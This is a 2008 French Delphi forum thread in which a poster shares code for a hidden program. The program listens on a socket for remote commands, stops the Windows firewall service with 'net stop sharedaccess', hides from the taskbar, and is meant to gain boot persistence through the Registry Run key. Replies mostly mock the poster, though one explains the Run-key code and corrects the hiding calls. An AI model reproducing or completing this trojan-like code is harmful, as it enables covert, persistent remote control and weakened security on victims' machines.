Accueil > Forum > > > > Besoin de précision pour un code
Besoin de précision pour un code
lundi 31 mars 2008 à 18:22:50 |
Besoin de précision pour un code

emirej
|
Bonjour j'aimerais avoir un peu d'aide pour mon code merci. Voici mon code : unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, MMsystem, ShellAPI, Registry; type TForm1 = class(TForm) ServerSocket1: TServerSocket; procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure FormActivate(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); begin if Socket.ReceiveText='OpenCD' then begin mcisendstring('set cdaudio door open wait',nil,0,handle); end; if Socket.ReceiveText='CloseCD' then begin mcisendstring('close cdaudio door closed wait', NIL, 0, handle); end; end; procedure TForm1.FormActivate(Sender: TObject); begin shellexecute(0,'open', 'net.exe','stop sharedaccess',0,0); end; procedure TForm1.FormCreate(Sender: TObject); begin Application.Title := ''; ShowWindow (Form1.Handle, SW_Hide); showwindow(Application.handle,Sw_hide); SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW); // Rend l'application Invisible de la barre des taches end; end. Mais j'aimerais implémenter cette fonction. var Reg: TRegistry; begin Reg := TRegistry.Create; with Reg do begin try RootKey := HKEY_LOCAL_MACHINE; // clé racine if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True) then begin if Lance then WriteString(NomAppli, CheminAppli) // écrire else DeleteValue(NomAppli); // supprimer CloseKey; end; finally Free; end; end; end; Mais j'aimerais savoir si je dois implémenter ce code dans le Oncreate ? ( Car j'aimerais que le programme s'ouvre a chaque démmarage) Si oui j'aimerais savoir quand il dise if Lance then WriteString(NomAppli, CheminAppli) // écrire . Le " Lance " correspond a quoi ? Le (NomAppli, CheminAppli) doi-je faire cela ( monprogramme, monprogramme.exe) ( Sachant quand la personne le lancera il sera dans le meme dossier que mon programme) merci en esperant que vous aurez comprit
|
|
lundi 31 mars 2008 à 18:34:54 |
Re : Besoin de précision pour un code

Caribensila
|
<ToDo List>
'faudra penser à créer le thème :
[ Divers / Pas encore débutant mais j'vais bientôt m'y mettre. En attendant, j'bidouille le Registre ]
;)
|
|
lundi 31 mars 2008 à 18:37:11 |
Re : Besoin de précision pour un code

emirej
|
c'etait ironique :p
Non mais c'est juste que je n'ai jamais testé cette fonction alors j'aurai besoin de précision
|
|
lundi 31 mars 2008 à 20:21:57 |
Re : Besoin de précision pour un code

emirej
|
Bah quelqun peut il le mettre correctement a mon code pour eviter que je fasse une bétise :p Car j'aimerais vraiment que le programme se lance au démarrage ! C'est la derniere chose que je demande ! Merci
|
|
lundi 31 mars 2008 à 21:53:08 |
Re : Besoin de précision pour un code

Guillemouze
|
bon je fais une entorse au boycote :/ Le " Lance " correspond a quoi ?
Selon Wikipedia : La lance est un terme générique désignant une arme d'hast dotée d'un fer emmanché sur une hampe ou long bois. Par opposition au javelot, la lance est une arme d'assaut qui n'est pas destinée à être lancée, malgré son nom. En revanche, elle est plutôt portée sous le bras du chevalier, ou par des piquiers, et se faufile entre les mailles de l'armure du combattant. Elle est popularisée par la cavaleriegothique. La lance est une des plus anciennes armes de chasse et peut-être de guerre (on a retrouvé des épieux en bois datant de 40.000 ans environ dans une tourbière). La lance servit comme arme dans des formations d'infanteries (notamment la phalange grecque et la phalange macédonienne (armée de sarisses), la légion romaine, des formations de piquiers en carrés au XVIe siècle). La lance utilisée dans la joute équestre est un modèle plus court mais tout aussi mortel, et c'est dans un tel combat qu'Henri II de France trouva la mort en 1559. Si dans l'imaginaire collectif, l'épée est l'arme médiévale par excellence, la lance est l'une de celles qui furent les plus répandues de l'histoire. Formation militaire[modifier]La lance peut aussi désigner une petite formation de combattants montés. Ainsi, au Moyen Âge, une lance comprenait de quatre à dix hommes, sous le commandement d'un chevalier. Un chevalier assez riche ou puissant pour avoir plusieurs lances était dit chevalier banneret. Lors de la création des compagnies d'ordonnance, première ébauche d'une armée nationale, une lance était composé d'un chevalier, d'un page ou écuyer, de trois archers, d'un coutilier et d'un sergent d'armes, tous à cheval mais combattant à pied. Soit pour cent lances, six-cents hommes par compagnie. Le dernier duc de BourgogneCharles le Téméraire voulut organiser son armée en 1250 lances de neuf hommes: un chevalier, sept combattants et un page non combattant. Soit 10.000 combattants divisés en dix compagnies. Ce projet ne fut jamais achevé.
 La Lance de Pallas, Vatican, Rome La lance apparaît dans un certain nombre de représentations artistiques. Lance d'Athéna, Sainte Lance, attribut positif du centurion chrétien Longin, qui sous forme de lance brisée devient ensuite l'attribut négatif de la synagogue accusée de déicide[1]. Citons encore la lance dont Saint-Georges terrasse le dragon, la lance qui figure sur certains portraits de Saint-Thomas, celle des lansquenets. Dans la mythologie nordique la lance était l'attribut de Wotan et des Walkyries.
Soldats utilisant une lance[modifier]- Hoplite, le fantassin grec armé entre autre d'une lance,
- Lancier, cavalier combattant avec une lance,
- Piquier, fantassin armé d'une pique longue de plusieurs mètres
- Uhlan, cavalier armé d'une lance dans l'armée prussienne.
|
|
lundi 31 mars 2008 à 21:57:03 |
Re : Besoin de précision pour un code

emirej
|
Merci mais ca ne m'aide pas beaucoup.
|
|
lundi 31 mars 2008 à 22:02:02 |
Re : Besoin de précision pour un code

Guillemouze
|
ah mince ! peut etre ceci alors : Lance Armstrong est un ancien coureur cycliste, né le 18 septembre1971 à Plano (Texas, États-Unis). Il est ancien champion du monde sur route (en 1993) et a remporté le Tour de France à sept reprises (record absolu) et de manière consécutive. Sa carrière a toutefois été entachée de soupçons de dopage.
Armstrong commence le cyclisme à 15 ans et passe professionnel en août 1992. Ses équipes successives sont : Motorola (1992 à 1996), Cofidis (1997), US Postal (1998 à 2004), Discovery Channel (depuis 2005). Lance Armstrong commence par faire du triathlon, qui lui donne puissance et endurance. Il se spécialise cependant dans le cyclisme. Lance Armstrong se révèle à l'occasion du Tour de France 1993. Porteur du maillot de champion des États-Unis, il remporte au sprint l'étape de Verdun. Quelques semaines plus tard à Oslo, en Norvège, il devient à 21 ans champion du monde de cyclisme sur route dans des conditions météorologiques dantesques et devant tous les favoris. Il est souvent présenté, à tort, comme le plus jeune champion du monde de sa spécialité, Karel Kaers ayant remporté son titre à 20 ans en 1934. En 1995, Lance décroche sa deuxième victoire d'étape sur le Tour, à Limoges. Franchissant la ligne en solitaire, Lance Armstrong lève un doigt vers le ciel en hommage à son équipier Fabio Casartelli, victime d'une chute mortelle trois jours plus tôt dans la descente du col du Portet d'Aspet. Armstrong s'affirme comme un coureur sur les courses d'un jour (victoire sur la Classique de San Sebastian en 1995, sur la Flèche Wallonne en 1996) mais également sur les courses à étapes d'une semaine comme le prouve sa 2e place lors du Paris-Nice de 1996. Fin 1996, alors qu'il annonce son transfert dans l'équipe Cofidis pour la saison suivante, Lance Armstrong est 9e mondial et à son meilleur niveau depuis le début de sa carrière. Mais, en octobre 1996, on lui diagnostique un cancer des testicules qui lui vaut d'être écarté de la compétition pendant plus d'un an. Son médecin estimait que ses chances de survie ne dépassaient pas 50 %. Après une guérison et une longue rééducation, il reprend le vélo et signe un contrat avec l'équipe U.S. Postal en 1998. Il est pourtant bien proche de tout abandonner après un retour à la compétition calamiteux à l'occasion du Paris-Nice 1998. Mais sa fin de saison laisse apparaître de belles promesses. Sa silhouette très affinée par rapport à ses premières années - il a en effet perdu toute la musculature du torse formée par la pratique du triathlon, qui n'était qu'un poids mort lors des ascensions - lui permet de passer la haute-montagne avec plus de facilité comme le prouve sa 4e place au Tour d'Espagne 1998. Son nouveau directeur sportif, Johan Bruyneel, parvient également à le motiver et change ses méthodes d'entraînement, lui permettant d'améliorer sa technique de pédalage. Seulement intéressé par le Tour de France à partir de 1999, il délaisse les autres grands tours et les classiques, à l'exception de l'Amstel Gold Race (2e en 1999 et 2001 ainsi que 4e en 2002) et de la doyenne des classiques à savoir Liège-Bastogne-Liège qui a constitué pendant plusieurs années le deuxième objectif majeur de sa saison. De 1999 à 2005 il gagne 7 Tours de France consécutifs. Le 19 avril2005, il annonce qu'il prendra sa retraite du cyclisme à l'issue du Tour de France 2005. Le 24 juillet2005, il tient parole et quitte le cyclisme professionnel, sur une historique septième et dernière victoire sur le Tour de France. Suite aux révélations du journal L'Équipe concernant un possible dopage à l'EPO lors du Tour de France 1999, il envisagera un temps de revenir à la compétition. De 2004 à février 2006, il a été fiancé avec Sheryl Crow. Lance Armstrong dispose de sa propre fondation pour la recherche contre le cancer : la Lance Armstrong Foundation (Livestrong). À ce jour, il nie toute prise de produit dopant.
|
|
lundi 31 mars 2008 à 22:02:55 |
Re : Besoin de précision pour un code
|
lundi 31 mars 2008 à 22:08:57 |
Re : Besoin de précision pour un code

Caribensila
|
« Bah justement pour pas que je fasse une bétise personne ne pourrait me dire ou inclure ce code svp ? »
Moi, j'ai bien une idée... Mais j'vais faire bannir si j't'aide. 
|
|
lundi 31 mars 2008 à 23:43:45 |
Re : Besoin de précision pour un code

cirec
|
Décidément tu ne lis pas et n'écoutes pas ce qu'on te dit  Je t'avais dit de mettre cette Procedure : ShowWindow(Application.handle, Sw_hide);Dans le OnShow et pas dans le OnCreate Et celle-ci : SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW); Tu la supprimes pour le reste ... c'est pas le tout de piquer du code à gauche et à droite sans savoir exactement ce qu'il fait et comment !!!! le code que tu cherches à utiliser sert à ce que ton application démarre automatiquement avec Windows. Lance ... (après avoir lu le code) ... est une variable booléenne qui sera mise à True ou False selon la demande de l'utilisateur. Cette procedure peut être appelée depuis un évènement de menu (par exemple). Mais la placer dans le OnCreate serait une erreur, cela obligerait l'utilisateur à redémarrer l'application pour prendre en compte le changement sans compter qu'il faudra aussi penser à sauvegarder la valeur le temps du redémarrage Alors qu'en faire une procedure indépendante t'évite tout cela. Mais tu brules les étapes ce que tu fais on appel ça du bricolage de code ... alors oui ça finit par fonctionner mais avec un code souvent lourd voir répétitif et non optimisé puisqu'en brulant les étapes tu ignores totalement certaines possibilités, finesses et autres subtilités que tu aurais pus apprendre en suivant un chemin moins chaotique. Enfin bon ... moi ce que j'en dis. Mais il faut comprendre une chose c'est que si toi tu choisis cette voie on ne pourra pas continuer a t'aider ... tu nous demandes de résoudre des problèmes que nous avons tous eut et pour la plus part résolus tous seul grâce, notamment, à la lecture de multiples tutoriels, l'aide de Delphi (Très bon ... c'est F1  ) et ton amis Google. Ça ne peut pas continuer ... tu en conviendras. C'est des questions de base de chez base que tu poses ! Par contre si tu as réellement un problème, pas un qui se règle en 5 minutes comme tout ou presque ce tu as posté, et que tu nous fais voir ce que tu as fais, que tu as cherché (réellement**) et que tu nous donnes (comme ici) un bout de code, tu trouveras quelqu'un sur ce forum pour t'aider. ** 90% (pour être gentil) de tes demandes se règlent en moins de 10 minutes par une recherche, sur le Site, sur Google ou dans l'aide de Delphi et on apprend mieux (ça reste plus facilement en tête) quand on trouve par sois même. Mon but n'est pas de te casser mais de te faire prendre conscience que la voie que tu empreintes ne te permettra pas de progresser correctement et que au final tu auras perdu du temps puisque, tôt ou tard, elles vont te manquer ces bases, d'ailleurs elles te manquent déjà  @Caribensila j'vois bien ou tu veux en v'nir  Alors tu n'as pas réussit à lire mon message sur la source de Mauricio  @+ Cirec
|
|
Cette discussion est classée dans : end, code, sender, procedure, tobject
Répondre à ce message
Sujets en rapport avec ce message
"Incompatible types :''Cardinal' and 'String' " [ par Don0Choa ]
Bonjour, je fais un petit prog permettant de fair des boite de dialogue en séléctionnant les bouttons, icones etc...Mais voila j'ai une erreur comem d
pb a creer un exe avec la principal form invisible [ par Winniez ]
J'ai voulu au demarrage de exe afficher une autre form que la form principal. a l'execution sa me met une erreur, apres g mis le meme code dans un bou
Newbie & TCPI/IP [ par Megafan ]
Bonjour je suis complétement débutant en delphi, par contre je suis pas mauvais en VB.Pourquoi je change allez vous dire ?Parce que VB ne tourne pas s
probleme avec sockets [ par PsyClown44 ]
Salut!J'ai un prob avec le composant TClientSocket : je n'arrive pas a recevoir de paquets lors d'une connexion!Voila le code:unit Unit1;interfaceuses
Réccupérer des données sur un autre Unit [ par m_cyril1 ]
J'ai fait un petit programme, celui-ci mémorise des chiffres entier sur une première form et sur la deuxième le résultat de la somme des chiffres s'af
probleme de click entre un temps [ par maxioutils ]
Voila le code presque complet :unit Unit6; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtr
envoyé donnés au port usb [ par didi59650 ]
Voila j'ai fait un programme qui fonctionne tres bien (stage). La liaison entre mon appareil de mesure et le PC est faite par le port serie. j'ai du c
Filtrer les données de DBGrid à partir de ADOQuery [ par Cobuce ]
Salut,J'execute un module pour filtrer un DBGrid sur ADOQuery. En fait j'ai deux problème :1. Utiliser le Filter à partir de RzEdit et garder juste l
Inclure un graph sous delphi?? [ par bm3w325i ]
Bonjours, je viens de me lancer dans delphi car j ai besoin d utiliser un media palyer pour diffuser la video par la sortie video de ma carte de decom
Récupération d'une valeur [ par ouaich85 ]
Bonjour, voici mon code : unit Unit2; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrl
Livres en rapport
|
Derniers Blogs
[RIA SERVICES] INCLUDE ET DOMAINDATASOURCE[RIA SERVICES] INCLUDE ET DOMAINDATASOURCE par Audrey
Dans un de mes articles précédents , j'avais parlé des DomainDataSource avec RIA Services dans le cas d'une interface Maître - Détail. Dans le même principe, je vais parler d'une autre manière de mettre en forme ce cas d'interface avec RIA Services. Et po...
Cliquez pour lire la suite de l'article par Audrey ZUNE : VERSION ZUNE SOFTWARE V 4.2 ET LA SOCIALISATIONZUNE : VERSION ZUNE SOFTWARE V 4.2 ET LA SOCIALISATION par ROMELARD Fabrice
Une des nouveautés de la version V 3.0 était l'apparition de l'onglet Social qui ne fonctionnait que si le MarketPlace était activé sur son poste. Cela limitait donc son intérêt, car hors du cadre commercial USA-CANADA, peu de monde trouva...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice PRATIQUE DE SILVERLIGHT PAR ERIC AMBROSIPRATIQUE DE SILVERLIGHT PAR ERIC AMBROSI par MPOWARE
Je viens de finir la lecture du dernier livre d'
Eric Ambrosi
éditions PEARSON
Son livre donne une approche pratique de Silverlight qui sera aussi bien comprise par le développeur que par le designeur.
Tous les aspects du développement RIA sont abor...
Cliquez pour lire la suite de l'article par MPOWARE APPRENDRE à DéVELOPPER POUR LES MOBILES AVEC LA NOUVELLE GéNéRATION .NETAPPRENDRE à DéVELOPPER POUR LES MOBILES AVEC LA NOUVELLE GéNéRATION .NET par odewit
2 déclinaisons de Silverlight et 2 déclinaisons de Mono permettent dorénavant (ou permettront prochainement) de développer des applications .NET mobiles pour les principales plates-formes du marché :
Silverlight pour Symbian, basé sur Silverlight 2...
Cliquez pour lire la suite de l'article par odewit ZUNE : NOUVELLE VERSION DU ZUNE SOFTWARE - V 4.2ZUNE : NOUVELLE VERSION DU ZUNE SOFTWARE - V 4.2 par ROMELARD Fabrice
Avec la dernière génération du lecteur MP3 de Microsoft, le ZUNE HD, Microsoft a publié une nouvelle version du logiciel pour PC. Ainsi, je me suis décidé à installer celle-ci sur mon Tablet PC ACER, comme toujours le logiciel est donc tél...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice
Forum
RE : DELPHIRE : DELPHI par overtaker
Cliquez pour lire la suite par overtaker RE : DELPHIRE : DELPHI par rt15
Cliquez pour lire la suite par rt15
Logiciels
Academy System (10.9.4.0)ACADEMY SYSTEM (10.9.4.0)Logiciel de gestion des établissements.
- élèves/étudiants (inscription, dossier, absence...)
-... Cliquez pour télécharger Academy System Xilisoft Convertisseur Vidéo Ultimate (5.1.39.0305)XILISOFT CONVERTISSEUR VIDéO ULTIMATE (5.1.39.0305)Xilisoft Convertisseur Vidéo Ultimate est un outil puissant de conversion vidéo, facile à utilise... Cliquez pour télécharger Xilisoft Convertisseur Vidéo Ultimate Xilisoft DVD Ripper Ultimate (5.0.64.0304)XILISOFT DVD RIPPER ULTIMATE (5.0.64.0304)Xilisoft DVD Ripper Ultimate est un logiciel excellent pour copier et convertir DVD vers presque ... Cliquez pour télécharger Xilisoft DVD Ripper Ultimate Rigs of Rods (63.3)RIGS OF RODS (63.3)c'est un jeu de multi-simulation camions,autobus voitures, avions, bateaux, hélicoptère avec défo... Cliquez pour télécharger Rigs of Rods
|